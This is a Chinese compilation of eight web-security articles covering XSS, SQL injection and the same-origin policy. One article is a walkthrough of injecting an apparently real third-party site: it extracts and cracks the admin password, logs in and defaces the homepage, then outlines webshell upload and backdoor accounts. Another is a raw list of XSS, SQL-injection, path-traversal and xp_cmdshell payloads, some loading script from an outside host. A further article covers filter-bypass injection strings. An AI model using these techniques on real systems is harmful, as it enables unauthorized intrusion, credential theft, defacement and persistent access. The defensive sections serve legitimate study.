Web安全测试之XSS脚本安全
“cc19341912”通过精心收集,向本站投稿了8篇Web安全测试之XSS脚本安全,以下是小编为大家整理后的Web安全测试之XSS脚本安全,仅供参考,欢迎大家阅读。
篇1:Web安全测试之XSS脚本安全
在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞
在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本, 然后看我们的脚本是否能执行
方法三: 自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。
HTML Encode 和URL Encode的区别
刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。
HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。
例如在baidu中搜索“测试汉字”。 URL会变成
www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)
在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode(“string
Fiddler中也提供了很方便的工具, 点击Toolbar上的“TextWizard” 按钮
浏览器中的XSS过滤器
为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图
如果需要做测试, 最好使用IE7。
ASP.NET中的XSS安全机制ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图
很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。
如果想禁止这个安全特性, 可以通过 <%@ Page validateRequest=“false“ %>
篇2:安全测试跨站脚本攻击(xss)脚本安全
跨站脚本简称(cross sites script),是安全里比较重要也比较普遍的一种安全漏洞,跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。
最常见的跨站脚本的方法,输入
以及它的各种变体
实体
%3Cscript%3Ealert(1)%3C/script%3E URL编码
或者 ;等 如果提交后,页面弹出警告框,则该页面存在xss漏洞 *反射型xss 通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果 如:一段代码 //location.search返回url?开始的部分 当输入以下url ”127.0.0.1/attrck.html?search=222“ 页面将显示:?search=222 ;但url中如果输入 /?search= 则页面的实际代码为: document.write(?search=); 将弹出警告框,即代码被执行了,而并非页面原来显示?后字符串的效果 可以使用伪造后的url获取用户cookie
127.0.0.1/attrck.html?search=
因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域
*保存型xss
是指将恶意代码保存到服务器,比如发布一篇包含恶意代码,其他用户浏览时将执行恶意脚本
*基于dom的xss
严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss
查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等,
篇3:Web安全之SQL注入攻击脚本安全
前言: ①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促,
能力有限,不到之处请大家批评指正;
②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是诸位能看得懂
基本的 SQL 语句(想想海璐姐你就懂了);
③本晨讲形式为PPT+个人演讲+实际演示,但因为TTS征文限制,少去了很多效果,深表遗憾;
④原创 文章 ,达内首发,希望喜欢的同学,多多支持!如有疑问致信:chinanala@gmail.com
=============以下是晨讲内容脚本,实战演练部分配以文字说明=============
大家早上好!今天由我给大家带来《 web 安全之 SQL注入 篇》系列晨讲,首先对课程进行简单介绍,SQL注入篇一共分为三讲:
第一讲:“纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入原理。”;
第二讲:“实战演练:我们要在 互联网 上随机对网站进行友情检测,活学活用,举一反三”;
第三讲:“扩展内容:挂马,提权,留门。此讲内容颇具危害性,不予演示。仅作概述”。
这个主题涉及的东西还是比较多的,结合我们前期所学。主要是让大家切身体会一下,管中窥豹,起到知己知彼的作用。千里之堤溃于蚁穴,以后进入单位,从事相关程序开发,一定要谨小慎微。
问:大家知道骇客们攻击网站主要有哪些手法?
SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等,只要有数据交互,就会存在被入侵风险!哪怕你把网线拔掉,物理隔绝,我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上,我就爬窗户;你把窗户关上,我就翻院墙;你把院墙加高,我就挖地洞。。。道高一尺魔高一丈,我始终坚信计算机不存在绝对的安全,你攻我防,此消彼长,有时候,魔与道只在一念之间。
下面,就让我们一起推开计算机中那另一扇不为人知的门---
一、纸上谈兵
(一)了解注入原理
为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。
我们在学JDBC和SQL时,讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句 java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是,PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样,sql语句就会被系统进行预编译,执行的速度会有所增加,尤其是在执行大语句的时候,效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。(二)架设注入环境
我们知道现在php作为一门网页编程语言真是风生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境,如 腾讯 的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌,首先是在本地架设wamp环境。需要用到的工具有:apache,mysql,php ,这几个组件可以单独下载安装,不过安装配置过程较为繁琐,还是建议新手直接从网上下载phpnow ,一个绿色程序,包含上述三个组件,傻瓜化操作就可以了。
然后呢,我们要建立 测试 用的数据表,编写html,php,文件,通过实例具体来演示通过SQL注入,登入后台管理员界面。这里,我之前已经写好了,大家看下:
1.创建一张试验用的数据表:
CREATE TABLE users (
id int(11) NOT NULL AUTO_INCREMENT,
username varchar(64) NOT NULL,
password varchar(64) NOT NULL,
email varchar(64) NOT NULL,
PRIMARY KEY (id),
UNIQUE KEY username (username)
);
添加一条记录用于测试:
INSERT INTO users (username,password,email)
VALUES('tarena',md5('admin'),'tarena@admin.com');
2.接下来,贴上登录界面的源代码:
Sql注入演示
当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)。
3.验证模块代码如下:
登录验证
$conn=@mysql_connect(”localhost“,'root','') or die(”数据库连接失败!“);;
mysql_select_db(”injection“,$conn) or die(”您要选择的数据库不存在“);
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql=”select * from users where username='$name' and password='$pwd'“;
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header(”Location:manager.php“);
}else{
echo ”您的用户名或密码输入有误,请重新登录!“;
}
?>
注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。
代码分析:如果,用户名和密码都匹配成功的话,将跳转到管理员操作界面(manager.php),不成功,则给出友好提示信息。
(三)演示注入手法
到这里,前期工作已经做好了,我们看这个登录界面,虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面,但从攻击者角度来说,透过现象看本质,我们应当意识到隐藏在这个登录页面背后的是一条select 语句---
OK! 接下来将展开我们的重头戏:SQL注入
填好正确的用户名(tarena)和密码(admin)后,点击提交,将会返回给我们“欢迎管理员”的界面。
因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:
select * from users where username='tarena' and password=md5('admin')
很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。
比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
select * from users where username='' or 1=1#' and password=md5('')
语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
select * from users where username='' or 1=1#' and password=md5('')
等价于
select * from users where username='' or 1=1
因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:
select * from users
没错,该sql语句的作用是检索users表中的所有字段
果不其然,我们利用万能语句(’or 1=1#)能够登录!看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~
二、实战演练
OK,前面铺垫了那么多,算是给大家科普了,
现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 www.guoshang.tk 这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。
(一)积极备战
1。首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;
2。打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点
www.guoshang.tk;
谷歌搜索小技巧:筛选关键字:”inurl:/news/read.php?id=“
(二)狼烟四起
1。我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,
www.guoshang.tk/news/read.php?id=50
可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
2。判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问
www.guoshang.tk/news/read.php?id=50
时数据库中执行的SQL语句大概是这样的:
Select * from [表名] where id=50
添加and 1=1后的SQL语句:
Select * from [表名] where id=50 and 1=1
由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
添加and 1=2后的SQL语句:
Select * from [表名] where id=50 and 1=2
由于条件1=2永远为假,所以返回的页面和正常页面不一致
3。爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:
www.guoshang.tk/news/read.php?id=50
现在要判断数据库类型以及版本,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and ord(mid(version,1,1))>51
发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0
以下版本或者其他类型数据库。
4。爆字段。接着我们再构造如下语句来猜表中字段:
a. www.guoshang.tk/news/read.php?id=50 order by 10
返回错误页面,说明字段小于10
b. www.guoshang.tk/news/read.php?id=50 order by 5
返回正常页面,说明字段介于5和10之间
c. www.guoshang.tk/news/read.php?id=50 order by 7
返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
d. www.guoshang.tk/news/read.php?id=50 order by 6
返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
5。爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
6。爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .
现在我们用同样的手法查询下 管理员信息 ,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 root@localhost ,是个管理员权限。
现在我们再用同样的手法查询用户名,密码,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select
1,2,username,4,5,6 from admin
返回 admin
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7。md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(www.md5.com.cn ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)
8。登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:
①先试下几个比较常用的目录;
②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序, 分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;
③手工不通,借力工具。明小子,啊D,御剑,都可以。
9。这里我们发现此网站依然采用程序默认管理路径:
www.guoshang.tk/dede
输入用户名 admin ,密码 chinaadmin 成功登入。
接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。
卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭----- 北岛
现在是见证奇迹的时刻!请大家再次登录这个网站,有没有把你和你的小伙伴们惊呆呢?!
至此,战斗结束。若干年的免费住宿,一日三餐在向你招手。。。
三、扩展部分
鉴于此讲内容危害性较大,不予演示。只简述其流程。
(一)webshell提权
二讲结束,我们仅仅取得网站管理员权限,操作范围仅限当前网站。革命尚未成功,同志仍需努力。若想深入挖掘,则必须寻求更大突破。获得网站webshell .
①准备一个php网马。(网上泛滥成灾,自己下载。但要注重分辨,小心螳螂捕蝉黄雀在后);
②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传
选项,上传我们实现准备的php网马文件(tarena.php);
③上传完毕,点击预览,记录下url地址。新建浏览器窗口,复制粘贴,打开之后,可以看到我们的网马成功挂载,输入密码tarena(密码可以自行用记事本打开修改编辑);
④进入网马管理界面,你会被那华丽丽的操作选项惊呆了!(取决网马水平,小马就别谈了,这里指的是大马)。从程序目录-网站根目录-各种强大的功能,乃至直接操作服务器磁盘文件,获取各种系统信息,跃马扬鞭,如入无人之境。其破坏力之大,令人咂舌!所以拜托各位亲,一定要盗亦有道,手下留情,除了靠法律监管,也要靠个人道德约束。
(二)暗修栈道
浴血奋战、攻城拔寨之后,怎样保卫来之不易的胜利果实?政治治大国若烹小鲜,入侵则烹小鲜如治大国。为长远计,我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽,毕竟这是见不得光的。留后门的方法诸多:
①开启telnet服务
建立匿名账户,添加至超级管理员组;
②开启远程终端服务;
③自制木马触发事件...
因系统平台而异,这里不再赘言。
后注:①可能有读者会觉得此文很假,的确,鉴于篇幅问题,文中目标站点是我事先踩点过的,所以才
会一路凯歌,事实上很少会有站点会如此理想,但万变不离其宗,只是时间问题罢了。
②文中所述演示环境建立在同时满足两个条件下:
1.php配置文件中魔术引号已关闭;
2.建站程序中没有对用户输入字符进行过滤。
篇4:XSS测试语句脚本安全
以下是引用片段:
'>
='>
%3Cscript%3Ealert('XSS')%3C/script%3E
%0a%0a.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/
%3f.jsp
%3f.jsp
?sql_debug=1
a%5c.aspx
a.jsp/
a/
a?
”>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--“
”“;' >out
getURL(“javascript.:alert('XSS')”)
a=“get”;b=“URL”;c=“javascript.:”;d=“alert('XSS');”;eval(a+b+c+d);
“><”
xss.ha.ckers.org/a.js?20190318“>
xss.ha.ckers.org/a.js?20190318”>
xss.ha.ckers.org/a.js?20190318“>
xss.ha.ckers.org/a.js?20190318”>
PT SRC=“xss.ha.ckers.org/a.js?20190318”>
link
admin'--
' or 0=0 --
“ or 0=0 --
or 0=0 --
' or 0=0 #
” or 0=0 #
or 0=0 #
' or 'x'='x
“ or ”x“=”x
') or ('x'='x
' or 1=1--
“ or 1=1--
or 1=1--
' or a=a--
” or “a”=“a
') or ('a'='a
”) or (“a”=“a
hi” or “a”=“a
hi” or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi“) or (”a“=”a
篇5:如何防范XSS跨站脚本攻击――测试篇WEB安全
Reflected XSS(反射跨站脚本攻击)
这是最常见也是最知名的XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中,传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。
初看上去,由于用户只能在自己的页面上注入代码,所以似乎这个漏洞并不严重,但是,只需一点点社会工程的方法,攻击者就能诱使用户访问一个在结果页面中注入了代码的URL,这就给了攻击者整个页面的权限。由于这种攻击往往会需要一些社会工程方法,所以研发人员往往不会太过看重,但是我们看如下的例子,在服务器上有如下代码:
article.php?title=
这就使得浏览器每3秒就刷新一次页面,而且是一个死循环的状态,这就形成了DOS攻击,导致Web服务器挂掉。
DOM-Based XSS(基于DOM的XSS)
这个漏洞往往存在于客户端脚本,如果一个Javascript脚本访问需要参数的URL,且需要将该信息用于写入自己的页面,且信息未被编码,那么就有可能存在这个漏洞,
黑盒测试和示例:
比较简单的测试是否存在XSS漏洞的方法是验证Web应用是否会对一个包含了HTTP响应的简单脚本的访问请求,例如,Sambar服务器(5.3)包含一个众所周知的XSS漏洞,我们向服务器发送如下的请求,从服务器端能够产生一个响应从而在Web浏览器中执行
server/cgi-bin/testcgi.exe?
这个脚本会在客户浏览器端被执行。
我们再举个例子:
由于Javascript是区分大小写的,有些人会尝试将所有字符转换为大写字符来避免XSS漏洞,在这时,我们最好还是使用VBScript,因为它是大小写不区分的:
JavaScript.
VBScript.
如果我们已经过滤了”<”,或者是
%3cscript. src=www.example.com/malicious-code.js%3e%3c/script%3e
\x3cscript. src=www.example.com/malicious-code.js\x3e\x3c/script\x3e
篇6:浅谈新型的sql注入测试脚本安全
前段时间,帮别人看网站,习惯性的’,and 1=1 其实知道这种肯定被过滤,但还是测试了
结果被脑残反问还有什么方法,的确有些时候思维被固化了,很多东西需要变通。
php+mysql
首先说判断:
Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null
或: and 2<=3
其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,等 都可用于判断
接着说注入
对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)
先说Union Select
对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4
Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?
可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去
查查相关资料,有异议的可给我留言.
当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx ,我们可这么做:
id=1+union/*&name=*/select+1,2
代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2
这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻
下面说说Blind SqlIjection(盲注)
一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是
ord(mid(password,1,1))=56
在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据
此前,仍然向大家推荐一些新型的手法:
find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1
strcmp 例: strcmp(left(‘password’,1), 0×56) = 1
将这些函数套如子查询就是:
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false
老外NB 方法 还有 -.-
悲剧还是绕不过去,nnd。要是国内
的站以上几种方法一般都能搞定,老外就是bt。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高
www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-
www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version,database(),u
ser()),3,4,5,6–+-
篇7:白帽子讲web安全C浏览器安全脚本安全
同源策略:不同源的“document”或脚本,不能读取或者设置当前的“document”
同源定义:host(域名,或者IP),port(端口号),protocol(协议)三者一致才属于同源,
要注意的是,同源策略只是一种策略,而非实现。这个策略被用于一些特定的点来保护web的安全。
XMLHttpRequest,DOM,cookie受到同源策略的限制。
网站可以通过提供crossdomain.xml来允许某些源跨域访问自己的资源。
google chrome使用了多进程来隔离代码运行的环境,从而起到提高web安全的作用
Q & A
Q:cookie为什么需要同源策略?
A:cookie有同源策略是必须的,这样可以保证A网站的用户(识别)信息不会被B网站获取到
Q:XMLHttpRequest为什么需要同源策略?
A:两个例子:
(1)加入没有同源策略,某个网站的某张页面被你写入了一些js ,这些js有些ajax操作,如果某个用户访问了这张页面,你的js就可以获得用户的某些信息(cookie,本地文件等)然后通过ajax发送回你的服务器,
这就是安全问题,信息泄漏。
其实这个就是XSS攻击,为了防止XSS攻击后,用ajax请求返回用户敏感信息。但是其实XSS的攻击仅靠XMLHttpRequest的同源策略根本没用,后面的章节会看到。这也许是当时XSS还没那么丰富的时候,还算比较有效的安全策略。
(2)先假设浏览器没有限制跨域,A站的xhr请求B站的一个url,那么浏览器是要带上谁家的cookie一起请求呢?(每次http请求都要带上该站下的所有cookie)显然是B家的。假设B家的网站当前用户已经登录,那么cookie里自然记录下了sessionId相关的东西以标识当前用户的身份,那么本次xhr请求很easy的通过了身份认证,然后后果就是不堪设想的。
这个就很正确,如果A可以用xhr跨站访问B,带着B的cookie自然可以通过B网站的验证,从而获取到敏感数据。所以这点是关键。
篇8:跨站脚本攻防之道脚本安全
作者:Xylitol
译者:riusksk( 泉哥)
摘要:
1> 何为跨站(XSS)?
2> 存在跨站的代码
3> Cookie劫持
4> XSS防御
5 破坏方式
6 绕过字符过滤
7 Flash攻击
8 上传文件XSS
9 跨站钓鱼
何为跨站(XSS)?
XSS又叫CSS(Cross Site Script) ,跨站脚本攻击(译注:因为Cross Site Script的缩写是CSS,但CSS在网页设计领域中已经被广泛地层叠样式表,所以将Cross改为以发音相近的X作为缩写,但早期的文件还是会使用CSS来表示跨站脚本),它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。攻击者得到更高的权限后,可以利用存在漏洞的ActiveX控件,欺骗受害者浏览恶意站点来悄悄地在对方的的电脑上安装恶意软件(如间谍软件,远程控制软件,蠕虫等),也可以窃取机密的网页内容,会话的cookie以及许多其它信息。
2.存在XSS的代码
打开记事本,复制并粘贴以下脚本代码:
Simple XSS vulnerability by Xylitol
Simple XSS vulnerability by Xylitol
Search:
关键代码:
Search result :
echo $_POST['Vulnerability'];
?>
By:
Search result :
if(isset($_POST['Vulnerability']))
{
echo htmlentities($_POST['Vulnerability']);
}
?>
【Web安全测试之XSS脚本安全】相关文章:






文档为doc格式